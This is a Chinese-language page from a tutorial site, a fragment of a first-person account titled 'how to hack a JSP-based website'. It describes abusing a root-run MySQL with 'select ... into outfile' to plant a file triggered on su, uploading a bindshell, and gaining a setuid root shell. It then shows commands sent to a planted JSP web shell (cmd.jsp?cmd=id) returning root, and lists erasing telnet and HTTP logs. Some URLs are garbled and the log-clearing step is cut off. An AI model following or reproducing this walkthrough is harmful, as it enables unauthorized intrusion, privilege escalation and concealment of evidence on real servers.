盾怪网教程:是一个免费提供流行杀毒软件教程、在线学习分享的学习平台!

怎么入侵基于JSP的网站

时间:2024/12/4作者:未知来源:盾怪网教程人气:

[摘要]grep+mysqld  显示: root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql  系统是以roo...
grep+mysqld

  显示:

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

  系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。

  之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。

  但是,接下来已经实际操作,结果令人颇感意外:

http://target:8080http://img3.dunguai.com/upload/technique_8/cmd.jsp?cmd=id

  显示:

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

  原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?

http://target:8080http://img3.dunguai.com/upload/technique_8/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)

  剩下的事情:

  1、删除我的telnet记录。

  2、删除http的日志。

  清除日志我使用的办法是:cat xxx

关键词:如何入侵基于JSP的网站




Copyright © 2012-2018 盾怪网教程(http://www.dunguai.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版